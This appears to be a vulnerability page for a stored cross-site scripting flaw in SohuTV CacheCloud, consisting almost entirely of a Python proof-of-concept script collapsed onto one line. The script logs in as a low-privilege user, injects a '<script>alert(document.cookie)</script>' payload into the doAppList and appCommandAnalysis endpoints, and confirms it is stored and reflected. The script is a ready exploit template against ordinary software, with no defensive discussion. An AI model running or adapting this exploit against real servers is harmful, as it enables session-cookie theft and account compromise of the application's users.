CVE-2025-15175 SohuTV CacheCloud跨站脚本漏洞

import requests import json # CVE-2025-15175 PoC - SohuTV CacheCloud XSS # Target: SohuTV CacheCloud <= 3.2.0 # Vulnerability: Stored XSS in AppController.java (doAppList/appCommandAnalysis) TARGET_URL = "http://target.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/login" APP_LIST_URL = f"{TARGET_URL}/app/doAppList" APP_CMD_URL = f"{TARGET_URL}/app/appCommandAnalysis" # Login with low-privilege user session = requests.Session() login_data = { "username": "attacker", "password": "password" } session.post(LOGIN_URL, data=login_data) # XSS Payload - Stored in doAppList function xss_payload = "<script>alert(document.cookie)</script>" app_list_data = { "appName": xss_payload, "appId": "12345" } # Inject XSS via app list response = session.post(APP_LIST_URL, data=app_list_data) print(f"XSS Injection Status (doAppList): {response.status_code}") # Alternative injection via appCommandAnalysis cmd_data = { "command": xss_payload, "instanceId": "1" } response = session.post(APP_CMD_URL, data=cmd_data) print(f"XSS Injection Status (appCommandAnalysis): {response.status_code}") # Verify XSS is stored and reflected verify_url = f"{TARGET_URL}/app/doAppList" response = session.get(verify_url) if xss_payload in response.text: print("XSS vulnerability confirmed - payload stored and reflected")